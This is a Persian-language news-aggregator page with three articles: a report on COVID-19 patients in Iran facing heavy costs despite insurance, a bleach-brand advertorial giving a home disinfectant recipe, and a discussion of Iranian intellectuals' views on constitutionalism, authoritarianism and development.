بی «بیمه» یا خالی کردن پشت مردم در ایام کرونا


روزنامه جام‌جم: قوز بالای قوز اگر یک مصداق داشته‌باشد این روز‌ها چیزی جز خرج و مخارج بیماران کرونایی نیست. خدا کند کرونا نگیریم یا اگر می‌گیریم شکل خفیفش را بگیریم یا اگر شانس نمی‌آوریم و به فرم سختش مبتلا می‌شویم لااقل بی‌پول نباشیم، چون کرونا رابطه‌اش با بی‌پولی بد است.

بی «بیمه» یا خالی کردن پشت مردم در ایام کرونا

این جمله را که اگر دفترچه بیمه داشته‌باشی درمان کرونا رایگان خواهد بود فراموش کنید؛ این حرف روی کاغذ قشنگ است، ولی در عمل درمان کرونا خرج دارد، زیاد هم دارد. کسانی که در این وادی افتاده و از مهلکه بیماری جان سالم به در برده‌اند، حالا به دفترچه‌های بیمه خود پوزخند می‌زنند، دفترچه‌هایی که اگر نبود هم اتفاق بدتری نمی‌افتاد. این وضع چه وقتی افراد مشکوک دارند آزمایش‌های تشخیصی می‌دهند، چه وقتی به درمان سرپایی و دارو درمانی توصیه می‌شوند و چه هنگامی که نیاز به بستری پیدا می‌کنند، در هر سه حالت حاکم است.

البته کاری به آن دسته از مبتلایان به کرونا نداریم که دفترچه بیمه دارند و موفق می‌شوند در یکی از مراکز ملکی سازمان‌های بیمه‌گر (بیمارستان‌های مرتبط با نوع دفترچه) بستری شوند. این‌ها مبتلایان خوش شانس کرونا هستند که از قضا در اقلیتند. شلوغی بخش‌های کرونایی بیمارستان‌های دولتی و دانشگاهی و مراکز ملکی بیمه‌های مختلف، مبتلایان زیادی را تا به حال به سمت بیمارستان‌های خصوصی سوق داده که این تازه شروع خرج‌تراشی‌هاست.

به‌جز بیمارستان‌های خصوصی، مراکز درمانی دولتی که جزو املاک سازمان‌های بیمه‌گر محسوب نمی‌شوند هزینه‌های زیادی را به بیمه شده‌ها تحمیل می‌کنند، هزینه‌هایی که گاهی چند ده میلیونی است و پیگیری‌های ما نشان داد اگر دولت و وزارت بهداشت تا امروز به وظایف خود کامل و دقیق عمل کرده‌بودند، بیماران نباید نسبت به دفترچه‌های بیمه‌شان حس بی‌خاصیت بودن داشتند.

این گزارش روایت همه کسانی است که سال‌ها حق بیمه داده‌اند و سال‌هاست دفترچه بیمه داشته‌اند وبعد از هجوم کرونا به بدنشان همین دفترچه‌های بیمه را دست گرفته‌اند و راهی آزمایشگاه‌ها، درمانگاه‌ها و بیمارستان‌ها شده، ولی در یکی از حساس‌ترین برهه‌های زندگی خود به چشم دیده‌اند که بود و نبود این دفترچه‌ها تقریبا یکی است.

این گزارش روایت کسانی است که در پنج ماه اخیر کرونا مثبت شده یا به قرنطینه خانگی رفته‌اند یا در بیمارستان روی تخت‌های عادی و مراقبت‌های ویژه بستری شده‌اند و با این که دفترچه بیمه داشته‌اند از جیب خرج کرده‌اند و خیلی‌های‌شان به زیر خط فقر سقوط کرده‌اند.

شاهدان عینی سخن می‌گویند

گوشی را که جواب می‌دهد حالش خوب است به جز اندکی کوفتگی اندام‌ها که هنوز با اوست. وی توصیه می‌کند تا می‌توانیم آب نمک قرقره کنیم که از شر ویروس کرونا در امان باشیم و درحالی که نمی‌دانیم واکنش ما به این توصیه باید چه باشد، می‌رویم سر اصل مطلب با او که هزینه‌های تشخیص و درمان کروناست.

کوروش بیمه شده تامین اجتماعی است و دوبار تست پی‌سی‌آر (تست معروف به حلق و بینی) داده که روی هم یک میلیون و ۲۰۰ هزار تومان برایش هزینه داشته. آزمایش خون و اسکن ریه‌ای هم که قبل از پی‌سی‌آر انجام داده، حدود ۴۰۰ هزار تومان برایش خرج برداشته که بیمه تامین اجتماعی بخش ناچیزی از آن را تقبل کرده، آن‌قدر ناچیز که او آن را اصلا احساس نکرده. کوروش می‌گوید این دفترچه بیمه تقریبا هیچ جا به کمکم نیامد جز دستور پزشک برای انجام تست حلق که در آن نوشته شد و حالا سند تایید بیماری من است برای سازمان تامین اجتماعی که قرار است غرامت دستمزد ایام بیماری را بپردازد.

رضا وقتی به بیمارستان مسیح دانشوری رفت تب، سرفه و تنگی نفس داشت. پزشک آن روز در دفترچه خدمات درمانی او برایش تست کرونا نوشت، ولی آزمایشگاه بیمارستان مسیح دانشوری با بیمه خدمات درمانی قرارداد نداشت و در نتیجه او ۱۴۰ هزارتومان از جیب پرداخت.

فهیمه بیمه شده نیرو‌های مسلح است و همیشه راضی بود از این که تابه حال کارش به صورت جدی به این دفترچه و دارو و درمان نیفتاده. ولی کرونا باعث شد او دفترچه بیمه‌اش را محک بزند و به نتیجه‌های ناخوشایندی برسد. او می‌گوید آزمایش‌های تشخیصی اولیه همراه سی‌تی اسکن ریه برای او و همسرش ۵/۱ میلیون تومان خرج داشت که به خاطر شرایط کرونایی قید دنبال‌کردن بیمه تکمیلی و دریافت هزینه‌ها را هم زدند.

زینب و همسرش نیز دو کرونا مثبت هستند که برای تست آنتی بادی روی هم ۲۰۰ هزار تومان و برای تست حلق یک میلیون و ۲۰۰ هزارتومان پرداخته‌اند و با این که هر دو دفترچه بیمه تامین‌اجتماعی داشته‌اند، اما از این دفترچه به‌جز ۲۰ هزار تومانی که بابت آزمایش خون از هزینه شان کم شد، چیز دیگری ندیدند. زینب با حسابی سرانگشتی می‌گوید کرونا برای من و همسرم حدود سه‌میلیون تومان هزینه داشت، هزینه‌ای که برای پرداخت اقساط مان پس انداز شده‌بود و حالا که خرج شده قسط‌ها نیز عقب افتاده‌است.

بی «بیمه» یا خالی کردن پشت مردم در ایام کرونا

حمید تازه دیروز از بیمارستان مدرس تهران مرخص شده. او ۱۲ روز بستری بود که چند روزش در بخش مراقبت‌های ویژه و بقیه‌اش در بخش عادی بود. او یک بیمه‌شده تامین‌اجتماعی است، ولی دیروز که از بیمارستان ترخیص شد ۱۳ میلیون تومان پرداخت که برایش سنگین بود. او می‌گوید کرونا یک طرف و هزینه‌های کمرشکن آن سوی دیگر.

ماجرای بستری شدن مادر احمد در بیمارستان و هزینه‌هایی که براو تحمیل شد، اما از بقیه خاص‌تر است. مادر کرونا مثبت بود و با برگه آزمایش و اسکن ریه به بیمارستان بقیه‌ا… رفت، اما چون شلوغ بود راهشان ندادند، در نتیجه رفتند به بیمارستان مسیح دانشوری که حدود ۶۰ نفر جلوتر از آن‌ها نوبت داشتند. از نیمه شب تا ۶ صبح احمد و مادرش انتظار کشیدند و وقتی پزشک تریاژ مادر را ویزیت کرد و گفت باید بستری شود، از داخل بخش گفتند جای خالی ندارند.

همین باعث سرزدن این مادر و پسر به پنج بیمارستان دولتی شد که همگی تخت خالی نداشتند و مقدمه‌ای شد برای مراجعه آن‌ها به یک بیمارستان خصوصی که هنگام پذیرش ازآن‌ها ۳۱ میلیون و هنگام ترخیص ۱۹ میلیون تومان بابت ۶ روز بستری از آن‌ها گرفت. احمد می‌گوید این یکی از تلخ‌ترین خاطرات طول عمر اوست، خاطره‌ای مربوط به هزینه‌هایی که به خاطر شرایط به آن‌ها تحمیل شد.

بدتر از وضعیت مادر احمد، اما هزینه‌هایی است که خانواده حسن مجبور به پرداختش شدند. حسن حالا به رحمت خدا رفته، اما زمانی که هنوز امید‌هایی برای بهبودش وجود داشت پزشکان معالج، خانواده‌اش را پی خرید چهار ویال آمپول فرستادند که در داروخانه بیمارستان دانه‌ای ۳۰ میلیون تومان قیمت داشت. آن‌ها این مبلغ را پرداختند، ولی فشار‌های زیادی را متحمل شدند که در نهایت نیز نتیجه‌ای نداشت.

درمان برای چه کسی رایگان است؟

آن‌هایی که ابتلا به کرونا جیب‌شان را خالی کرده، آن‌هایی که در جدال با کرونا حتی اگر پول نداشته‌اند قرض کرده‌اند و دارو خریده‌اند و آزمایش داده‌اند و آن‌هایی که این ویروس حسابی زده‌است زیر کاسه و کوزه اعتبار دفترچه‌های بیمه‌ای که دلشان را به آن خوش کرده‌اند، شاهدان زنده حکایت پر، اما و اگر درمان رایگان کرونا هستند.

دولت و وزارت بهداشت بار‌ها و بار‌ها گفته‌اند درمان کرونا رایگان است و در مردم توقع کاشته‌اند، اما دقیقا شرح نداده‌اند که این رایگان بودن چقدر بند و تبصره و، اما و اگر دارد. برای همین مبتلایانی که گذرشان به مراکز درمانی می‌افتد با دیدن صورتحساب‌ها شوکه می‌شوند، آه می‌کشند و به قول ایرج حریرچی معاون کل درمان وزارت بهداشت دچار سندرم حسرت می‌شوند.

حریرچی می‌داند وقتی برای فقرا دارو‌های چندمیلیونی تجویز می‌شود آنها، چون که ندارند حسرت می‌خورند، ولی قشر متوسط که اندکی بیشتر دارد فرش زیر پایش را می‌فروشد و قشر مرفه جامعه هم با این که دارد، ولی معترض می‌شود و صدای این بغض‌های فروخورده ممکن است از هر جایی بیرون بزند.

حریرچی البته به ما می‌گوید بیمه‌ها تا به حال تا ۹۵ درصد هزینه‌های درمان کرونا را پوشش داده و به اقتصاد بیماران کمک کرده‌اند، ولی مشکل این است که بخش قابل توجهی از دارو‌های درمان کرونا در فهرست درمانی کمیته علمی مبارزه با کرونا نیست، ولی بسیاری از مردم اصرار دارند چند ده میلیون تومان برای خرید این دارو‌ها هزینه کنند.

در واقع حریرچی توپ را به زمین مردم می‌اندازد، که اگر توپ واقعا هم در زمین آن‌ها باشد مردم فقط دارند تلاش می‌کنند زنده بمانند. در این میان سازمان‌های بیمه‌گر کاملا از خود راضی‌اند، در حالی که بیماران و خانواده‌هایی که باید جوش تهیه هزینه‌ها را بزنند تا این حد راضی به نظر نمی‌رسند.

شاهرخ رامزی، معاون پشتیبانی سازمان بیمه سلامت می‌گوید ۴۰ میلیون ایرانی بیمه سلامت دارند و در ایام کرونا ۹۱ هزار و ۴۴۱‌نفر که بستری شده و به این تعداد اضافه شده‌اند، به ما می‌گوید تا به حال ۵۴۷ هزار روز خدمات به بیماران ارائه شده که ۳۴۱ میلیارد تومان هزینه داشته‌است.

دکتر ابوالفضل آفریده، معاون درمان مستقیم سازمان تامین‌اجتماعی نیز که معتقد است سازمان متبوعش در بحث درمان بیماران کرونایی خوب عمل کرده به ما توضیح می‌دهد اگر بیمه‌شدگان تامین اجتماعی به بیمارستان‌های ملکی این سازمان بروند، درمان آن‌ها رایگان است؛ حتی هزینه‌های دارو‌های آنها.

او، اما تکمله‌ای می‌زند و به مواردی اشاره می‌کند که گیر اصلی کار بیماران کرونایی در آنهاست. به گفته آفریده اگر شخصی دفترچه اختیاری یا خویش‌فرمایی داشته‌باشد وضعیتش با بیمه شده‌های اجباری فرق دارد و برخلاف آن‌ها که فقط ۱۰ درصد فرانشیز می‌پردازند، باید مبالغ بیشتری هزینه کنند.

این درحالی است که دارندگان دفترچه‌های بیمه تامین‌اجتماعی در بیمارستان‌های غیرملکی این سازمان باید حسابی دست به جیب شوند، درست آنجا که بیماران حس می‌کنند دفترچه‌هایشان خاصیت ندارد. پاسخ آفریده به این حس همگانی این است که دولت و به طور مشخص معاونت درمان وزارت بهداشت باید پاسخ دهد چرا دفترچه‌های تامین اجتماعی در بیمارستان‌های دولتی کارایی ندارد.

آفریده در واقع معتقد است در اپیدمی‌هایی مثل کرونا که مردم ناخواسته درگیر بیماری و هزینه‌هایش می‌شوند، دولت‌ها برای جبران هزینه‌ها تعهد دارند نه بیمه‌ها و با این جمله ما را سپرد به پیگیری چرایی این کمبود در وزارت بهداشت.

اما این نابسامانی و پاسکاری‌های میان‌بخشی فقط درحوزه تشخیص و بستری کرونا نیست بلکه ماجرای دارو‌های درمان این بیماری نیز مفصل است. یک بیمار حاد کرونایی که ما پیگیر احوالاتش بودیم و او متاسفانه دار فانی را وداع گفت برای چهار ویال داروی رمدسیویر ۱۲۰ میلیون تومان هزینه کرد، آن هم نه به میل خودش که با تشخیص پزشکان بیمارستان.

این دارو و چند داروی پرکاربرد درمان بیماران بستری هیچ‌کدام بیمه نیستند و تلاشی هم برای بیمه شدن آن‌ها نمی‌شود که آفریده به ما توضیح می‌دهد با این که تامین‌اجتماعی و بیمه نیرو‌های مسلح به وزارت‌بهداشت نامه نوشته و خواستار تعیین‌تکلیف وضعیت بیمه‌ای این دارو‌ها شده‌اند، ولی وزارتخانه تابه امروز به این جمله بسنده کرده که، چون هنوز کارایی این دارو‌ها به قطعیت نرسیده، نمی‌شود آن‌ها را در فهرست بیمه قرار داد.

بی «بیمه» یا خالی کردن پشت مردم در ایام کرونا

وزارت بهداشت ما دارد آزمون و خطا می‌کند، طبیعی هم هست، چون کرونا هنوز داروی قطعی ندارد و همه کشور‌ها می‌آزمایند تا به نتیجه برسند؛ اما تجویز دارو‌های گران درحال آزمون و خطا برای بیمارانی که خیلی‌هایشان تنگدست هستند و در ضمن قرار ندادن این دارو‌ها در فهرست بیمه، معلوم نیست با چه توجیهی انجام می‌شود.

این وضعیت بسیاری از بیماران مبتلا به کرونا را در عسر و حرج قرار داده و خیلی‌ها را به زیر خط فقر هل داده؛ وضعیتی که اگر دولت به آن توجه جدی نداشته‌باشد بعد از موج‌های کرونا، امواج اجتماعی را در پی خواهدداشت.

اعتراض مردم و نمایندگان

ذبیح‌ا… اعظمی ساردویی، نماینده مجلس نیز از تحمیل هزینه‌های آزمایشگاهی کرونا به شهروندان به دنبال توقف پایش رایگان انتقاد می‌کند و می‌گوید: توقف پایش رایگان بیماری موجب شده مردم برای انجام هر آزمایشی توسط بخش خصوصی و آزمایشگاه‌ها مبلغی بین۶۰۰ تا ۷۰۰ هزار تومان پرداخت کنند که این موضوع موجب گله‌مندی مردم شده‌است.

محسن فتحی، عضو کمیسیون بهداشت مجلس نیز در مورد هزینه‌های درمانی بیماری کرونا به خانه ملت می‌گوید: هزینه‌های درمان کرونا در بیمارستان‌های دولتی باید به صورت رایگان باشد، تا شخص مشکوک به کرونا بدون ترس اقدام به انجام آزمایش کند تا این‌که با پنهان‌کاری منجر به شیوع بیشتر بیماری نشود.

او با اشاره به این‌که بیشتر بیماران مبتلا به کرونا گلایه‌مند هزینه‌های درمان هستند، عنوان می‌کند: در شرایط کنونی که کشور درگیر بحران کروناست، بیمه‌ها باید به کمک بیماران به‌ویژه بیماران محروم و قشر ضعیف جامعه بیایند.

فتحی با انتقاد از عملکرد ضعیف بیمه‌ها در شرایط بحرانی که کشور درگیر بیماری کروناست، می‌گوید: بیمه سلامت با توجه به گستردگی که داشته همانند بیمه‌های دیگر خرید خدمت را انجام می‌دهد، در شرایط کنونی بسیاری از بیمه‌ها درمانی خدمات‌دهی کمتری نسبت به دیگر مواقع دارند به دلیل اپیدمی کرونا بیشتر بیمارستان‌ها تخت‌های خود را به درمان بیماران کرونایی اختصاص داده‌اند و بیماران دیگر از جراحی‌های غیرضروری و درمان‌های سطحی کمتر به مراکز درمانی مراجعه می‌کنند؛ بر همین اساس بیمه‌ها باید در چنین شرایطی وارد بحث درمان کرونا شده به کمک نظام سلامت بیایند هم اکنون مردم نیازمند حمایت بیمه‌های درمانی هستند.

او بیان می‌کند: مصوبه‌ای در مجلس مطرح شده در مورد حمایت بیمه‌های درمانی بیماران کرونا بدون شک کمیسیون بهداشت و درمان پزشکی به صورت جدی و میدانی به موضوع ورود خواهد کرد، در چنین شرایطی نمایندگان مردم همراه ملت خواهندبود؛ چرا که بحث سلامت جامعه در اولویت تمام برنامه‌های ملی و بین‌المللی است.

بی «بیمه» یا خالی کردن پشت مردم در ایام کرونا

ضدعفونی کردن سطوح برای داشتن خانه‌ای پاکیزه و بهداشتی


ضدعفونی کردن سطوح برای داشتن خانه‌ای پاکیزه و بهداشتی

 

شیوع ویروس کرونا و ورود به موج دوم آن به دغدغه‌ای مهم برای مردم جهان تبدیل شده است؛ و همه به دنبال ایمن نگه‌داشتن خود از این ویروس هستند. با توجه به اینکه مردم بیشتر زمان خود را در خانه می‌گذرانند، رعایت بهداشت برای پیشگیری از گسترش ویروس کرونا در خانه بسیار مهم است.

 

رعایت بهداشت خانه در ظاهر ساده به نظر میرسد، اما برای داشتن خانه‌ای پاکیزه و بهداشتی، نکات مهمی وجود دارد که نیازمند توجه است.

 

در ادامه این مطلب با تاژ همراه باشید تا نکاتی مهم و کاربردی برای داشتن خانه‌ای پاکیزه و بهداشتی بیاموزید.

 

چگونه می‌توانیم به سادگی یک ضدعفونی کننده خانگی بسازیم؟

 

سازمان جهانی بهداشت هیپوکلریت سدیم در غلظت یک دهم را برای ضد عفونی کردن سطوح معرفی کرده است. سفید کننده تاژ حاوی هیپوکلریت سدیم است که به راحتی در دسترس بوده و با استفاده از آن به عنوان ماده ضدعفونی کننده، می‌توان ویروس‌ها را از روی سطوح پاک کرد.

 

ضدعفونی کردن سطوح برای داشتن خانه‌ای پاکیزه و بهداشتی

 

نحوه ساخت محلول ضدعفونی کننده از مایع سفید کننده تاژ

  • یک بطری پلاستیکی یا یک ظرف شیشه‌ای با درب
  • یک پیمانه برای اندازهگیری
  • دستمال
  • دستکش پلاستیکی
  • ماسک
  • سفید کننده تاژ
  • آب سرد
  • مراحل ساخت ضدعفونی کننده خانگی
  • ۱ واحد سفید کننده را درون بطری ریخته و سپس ۹ واحد آب سرد را به آن اضافه کنید. 
  • درب بطری را محکم ببندید و با تکان دادن، آن را به آرامی مخلوط کنید.

از این محلول برای ضدعفونی کردن سطوح به ویژه قسمت‌هایی که بیشتر در معرض آلودگی هستند مانند دستگیره‌های درب و پنجره، آشپزخانه و محل آماده‌سازی غذا، محل‌هایی که نور خورشید مستقیما به آن‌ جا نمی‌تابد، سطوح سرویس بهداشتی، کلید‌های کنترلی و صفحات لمسی مثل کیبورد و … می‌توان استفاده کرد.

 

نکات ایمنی تهیه محلول ضدعفونی کننده خانگی

  • در صورت رعایت نکات ایمنی قبل، هنگام و بعد از انجام کار، فرایند کار با سفید کننده کاملا بی‌خطر است. 
  • سطح مورد نظر را پیش از ضدعفونی کردن حتما تمیز کنید.
  • محصولات حاوی سفید کننده فقط باید روی سطوح و مطابق با اطلاعات مربوط به مصرف صحیح روی لیبل محصول، استفاده شوند.
  • حتما نسبت دقیق ترکیب سفید کننده و آب را رعایت کنید، زیرا غلظت بیشتر، خطرناک و غلظت کمتر فاقد قدرت از بین برندگی کامل ویروس است.

ضدعفونی کردن سطوح برای داشتن خانه‌ای پاکیزه و بهداشتی

عوامل موثر در ضدعفونی کردن سطوح مختلف

 

کرونا می‌تواند از فرد به فرد دیگری منتقل شود. از آن‌ جا که نمی‌شود تعامل با افراد و حضور در اماکن عمومی را به صفر رساند، در نهایت فرد با آلودگی‌هایی که با خود می-آورد باعث آلوده شدن خانه به ویروس‌ خواهد شد. نکته‌ی ضروری برای مقابله با این اتفاق، رعایت بهداشت خانه و ضدعفونی کردن مرتب سطوح برای جلوگیری از گسترش این ویروس‌ در خانه است.

 

چندین عامل بر عمر ویروس‌های روی سطح و نیاز آن به ضدعفونی کردن تأثیر می‌گذارد، از جمله:

  • نوع سطح‌ و بافت آن
  • عادت‌های روزمره زندگی ما، مانند شستشوی لباس‌ها یا ضد عفونی کردن سطوح
  • شیوه‌های رعایت بهداشت در زندگی فردی مانند شستن دست‌ها یا حمام کردن
  • روش‌های نظافتی، مانند استفاده از مواد ضدعفونی کننده یا الکل

توجه به بهداشت خانه برای پیشگیری از ابتلا به بیماری‌هایی مانند کرونا، بسیار آسان‌تر و کم‌خطرتر از درمان آن است. با آگاهی از نکات بهداشتی خانه، سلامت را به خود، عزیزان و جامعه‌تان هدیه دهید.

 

خانه‌ای پاکیزه و بهداشتی با سفیدکننده تاژ

انقلاب کردن همیشه هم جواب نمی‌دهد!


روزنامه شرق: روند مشروطه‌خواهی به همان شکل که تاکنون طی شده، امکان ادامه حیات دارد یا آنکه مسیر بدیلی را می‌توان برای آینده ایران متصور بود؛ مسیری که ضرورتا بر راهی تاکنون «طی‌نشده» اصرار دارد و از قرار معلوم، تجدیدنظرطلبی در باب سنت مشروطه‌خواهی را ضرورتی تاریخی می‌داند که با اکنونیت و آینده ایران، پیوندی وثیق و ناگسستنی دارد.

مطالباتی مانند خواست حاکمیت قانون، تحقق عدالت‌خانه، برقراری آزادی‌های مدنی و سیاسی که همه به نظر بازیگران و عاملان اجتماعی، ذیل مقید و محدودکردن قدرت پادشاه میسر می‌شد، آنها را در مسیری قرار داد که گویی مقصد و مقصودش، جاده‌ای تک‌مسیره و البته یک‌طرفه بود؛ اما بار دیگر بر آن شدیم که به آن تجربه و تالی‌های منطقی آن بیندیشیم و با نقد خویشتنِ مشروطه‌خواه، بی‌هراس از این مهمِ تاریخی پرسش کنیم که: راه طی‌نشده‌ تبار مشروطه‌خواهی در پرتو چه درکی از المان‌های توسعه‌یافتگی، به محاق رفت و نادیده گرفته شد؟

در واقع مسئله توسعه ایران را چرا و چگونه در فقدان هر جایگزین ممکن اما نیندیشیدنی، تنها از یک مسیر پیمودیم و نقشه راه‌های بدیل را نپیموده، رها کردیم؟‌ تاکنون خویشتنِ مردد را با برخی از اصحاب اندیشه و پژوهشگران، مطرح کرده و در میان گذاشته‌ایم تا بلکه از خلال این در‌میان‌بودگی، بتوانیم سنت تاریخی پشتِ سر را در جهت اعتلای ایران پیش‌رو به کار بگیریم.

نتیجه سرنگونی ساختی اقتدارگرا، وضعی دموکراتیک نخواهد بود

احمد زیدآبادی، با اشاره به تجربه تاریخی تلاش جمعی ایرانیان در مسیر مشروطه‌کردن قدرت، به این نکته اشاره می‌کند که از دل سرنگونی یک دولت اقتدارگرا، ضرورتا یک وضع دموکراتیک و مطلوب سر نخواهد زد. او بر این باور است که دولت اقتدارگرا، نیاز مبرم یک جامعه ازهم‌گسیخته و متشتت است؛ جامعه‌ای که اجزای آن نمی‌توانند با هم سرِ سازگاری داشته باشند. زیدآبادی، این‌گونه تصریح می‌کند: «برخی فکر می‌کنند به‌ مجرد اینکه یک حکومت اقتدارگرا سرنگون شد، به‌‌طور خودکار یک دولت دموکراتیک می‌رویَد؛ ولی در بسیاری از کشورها این اتفاق نمی‌افتد؛ چون نیاز به امکانات زیادی است که معمولا هم موجود نیست. انقلاب‌ها معمولا نتیجه ضعف دولت‌هاست و همیشه یک دولت قدرتمندتر با تمرکز بیشتر روی کار می‌آید».

انقلاب کردن همیشه هم جواب نمی‌دهد!

او با نقد تجربه اصلاحات و معضل دوگانگی قدرت در ایران، از ضرورت یکپارچه‌شدن قدرت در ایران دفاع کرده و حتی آن را لازمه رسیدن به وضعی دموکراتیک می‌داند. به باور او، دوگانگی قدرت، نظام تصمیم‌گیری را در وضعی معلق قرار می‌دهد که منجر به فروپاشی بنیان‌های ملی ما می‌شود، ازاین‌رو چه‌بسا بهتر باشد که دوگانگی و توزیع تنش‌آلود قدرت، جای خود را به قدرتی یک‌دست برای هماهنگی بیشتر در نظام تصمیم‌گیری دهد.

حکومت‌های اقتدارگرا حتی از نظام‌های قانونی موفق‌ترند

علی رضاقلی در پاسخ به این پرسش که آیا توسعه ایران را ذیل یک حکومت مقتدر و اقتدارگرا نیز ممکن می‌داند یا خیر، اذعان می‌کند که ضرورتا این‌گونه نیست که حکومت‌های اقتدارگرا ضد توسعه باشد. او به توسعه چین اشاره کرده و آن را تجربه موفقی می‌داند. به نظر او اقتدارگراها اگر تصمیم بگیرند که توسعه ایجاد کنند و فهمی از فرایند آن نیز داشته باشند، حتی از نظام‌های قانونی و مشروطه نیز موفق‌ترند؛ به‌این‌خاطر که فاقد نوعی بی‌نظمی ناشی از نبود انسجام احزاب متعدد و… هستند.

رضاقلی تصریح می‌کند که در حکومت‌های اقتدارگرا و توسعه‌خواه، کسی آن بالا حضور دارد و یک‌شکل و منظم به سمت توسعه حرکت می‌کند؛ درست مانند چین. رضاقلی با توصیه به کاهش هزینه مبادله سیاسی در ایران به‌عنوان یکی از مؤلفه‌های ضروری توسعه‌یافتگی، بر این نظر است که در کشورهایی که قانون و مجلس وجود دارد و منافع متعارض در مجلس نیز کمی تعدیل شده است، شواهد نشان از آن داشته که امکان موفقیت بیشتر است؛ به‌ این‌خاطر که احتمال خطای کمتری وجود دارد و حکومت نیز از مشروعیت بیشتری میان مردم برخوردار است.

نزاع و تخاصم، منافع جمعی ما را تأمین نخواهد کرد

حاتم قادری، استاد بازنشسته دانشگاه تربیت مدرس، با نقد تجربه اصلاحات به‌صراحت بیان می‌کند که اصلاح‌طلبان، مخالفان را جریحه‌دار، آزرده‌خاطر و رادیکال‌تر کردند؛ درحالی‌که به‌ نظر او و برای تغییر، باید بخشی از نیروهای مخالف متقاعد شوند. از نظر قادری، باید در ایران برخی گروه‌های اجتماعی به این نتیجه برسند که این‌همه نزاع، منافع آنها را تأمین نمی‌کند و برخی باید به هیئت حاکمه برای ایجاد یک نظم کمک کنند. او با نقد صریح هرگونه جنگ داخلی یا مداخله خارجی، راه‌حل‌هایی را برای دوران‌ گذار مناسب می‌داند و به آن تصریح می‌کند.

انقلاب کردن همیشه هم جواب نمی‌دهد!

البته به گفته‌ او، وضعیت پیش‌رو چندان وضعیت ساده‌ای نیست و حتی اگر این وضع متحول شود، حتما و ضرورتا به وضع بدیل و مثبتی نخواهیم رسید. قادری، مشروطه‌شدن قدرت را منوط و موکول به پدید‌آمدن تغییرات جدی در گروه‌ها و افراد می‌داند و در‌این‌میان نقش مهمی نیز برای صاحبان ثروت در ایران قائل است. به نظر او، چه‌ بسا بخشی از ثروتمندان حاضر به برخی تغییرات باشند؛ چرا‌که آنها در پی حفظ اشکال متنوع ثروتی هستند که پیش‌تر انباشت کرده‌اند. از یک منظر، همین الیگارشی‌های مالی هستند که از یک جهت می‌توانند کمک‌حال ‌گذار باشند.

اول نظم و توسعه، سپس دموکراسی

تقی آزادارمکی از خلال گفت‌وگو، مهم‌ترین پروژه ایران را توسعه می‌داند و همه تلاش‌های سده اخیر را در راستای نیل به توسعه صورت‌بندی می‌کند. به نظر او، تئوری اصلی رهبری، همواره تئوری توسعه بوده و از این حیث، ایران و نظام سیاسی حاکم بر آن را نظامی دینی با رویکرد توسعه‌ای می‌خواند که در نوع خود منحصربه‌فرد است. آزادارمکی، دموکراسی را آخرین پروژه ایران می‌داند و معتقد است که اساسا ایران از طریق دموکراسی به توسعه نائل نخواهد شد، بلکه برعکس، پافشاری بر مطالبات دموکراتیک، ما را در عمل با نوعی رادیکالیسم مواجه خواهد ساخت.

به نظر او، مسئله ایران در وهله اول نظم و استقرار بوده و پس از آن است که مسئله توسعه و دموکراسی مطرح می‌شود. در نقد اولویت‌های دموکراسی‌خواهانه، وی تصریح می‌کند که کسانی که دموکراسی را به‌عنوان اولین پروژه می‌شناسند، نمی‌دانند که در حال بار‌کردن چه خطایی بر جامعه ایران بوده و چه پاشنه آشیلی را مستمرا برای ایران ایجاد می‌کنند و ایران را در دام پرتگاه قرار می‌دهند؛ چرا‌که منازعات بنیادین مبتنی بر جهل برای دستیابی به دموکراسی وجود دارد.

پیچیدگی وضعیت؛ کنشگری فعالانه و خشونت‌پرهیز

مقصود فراستخواه، توسعه را فرایندی پیچیده و از خلال یک ماتریس نهادی چندوجهی توضیح می‌دهد. به باور وی، رویکرد غالب در انقلاب مشروطه، رویکردی نخبه‌گرایانه بود، حال آنکه توسعه، حاصل یادگیری جمعی در متن عمل جمعی از خلال فرایندی طولانی، انباشتی، انتقادی و متأملانه است. فراستخواه با ارجاع به گیدنز، اذعان می‌کند که ساختارها به‌وسیله عاملان اجتماعی شکل می‌گیرند و این کنش‌ها هستند که ساختارها را پدید می‌آورند.

انقلاب کردن همیشه هم جواب نمی‌دهد!

در نتیجه برای هر تغییری، به کنش عاملان اجتماعی نیاز داریم. وی همچنین تصریح می‌کند که لازمه خشونت‌پرهیزی و اینکه توافقی صورت گیرد که نتیجه آن اقناع و انصاف اجتماعی باشد، گفت‌وگوهای جدی و مجادلات بدون خشونت اجتماعی است تا از این طریق به سطوح محلی، صنفی، اجتماعی، حرفه‌ای و… زبان‌بخشی شود تا در نهایت، مشارکت اجتماعی صورت پذیرد که در نتیجه آن، قدرت جامعه افزایش می‌یابد و خواست و منافع جامعه، تثبیت و نهادینه خواهد شد.

لازمه آزادی، مذاکره و وحدت بر سر منافع کلی کشور است

هاشم آقاجری نیز از خلال گفت‌وگو این نکته را پیش می‌کشد که نه‌تنها نظریه استبداد ایرانی ریشه در واقعیت نداشته و تداوم‌ها را در تاریخ ایران-به قیمت حذف و نادیده‌انگاشتن جامعه- نمی‌بیند بلکه اساسا این‌گونه تصور می‌شود که در تاریخ ایران هیچ‌گاه حوزه عمومی وجود نداشته است. حال آنکه از دیدگاه او چنین نبوده و نهادهای مستقل و سپهر عمومی از جمله نهاد فتوت، نهاد فقها و… در تاریخ ایران از قدرت قابل‌توجهی برخوردار بوده‌اند.

آقاجری با بازخوانی تاریخ انقلاب مشروطه بر این نظر است که معمولا در صدسال اخیر، تمام انقلاب‌ها و جنبش‌هایمان از مشروطیت به بعد در مرحله اول تا قبل از پیروزی، با نوعی ائتلاف و اتحاد و وحدت همه نیروها انجام می‌شده و به پیروزی می‌رسیده است؛ اما پس از پیروزی روند معکوسی آغاز می‌شود؛ یعنی وحدت قبل از پیروزی جای خود را به تفرقه پس از پیروزی می‌دهد.

او بر این عقیده است که نخبگان مشروطه‌خواه نمی‌دانستند که لازمه پارلمان و آزادی، مذاکره و مصالحه است و باید بتوانند ضمن حفظ کثرت و اختلاف نظری که دارند، نهایتا بر سر منافع و مصالح کلی کشور در یک نقطه وحدت کنند. او یکی از مؤلفه‌های نظام حکمرانی مطلوب را بوروکراسی سالم دانسته و به این نکته اشاره می‌کند که لازمه دولت قوی، جامعه قوی است و این دو لازم و ملزوم یکدیگر هستند.

مؤخره

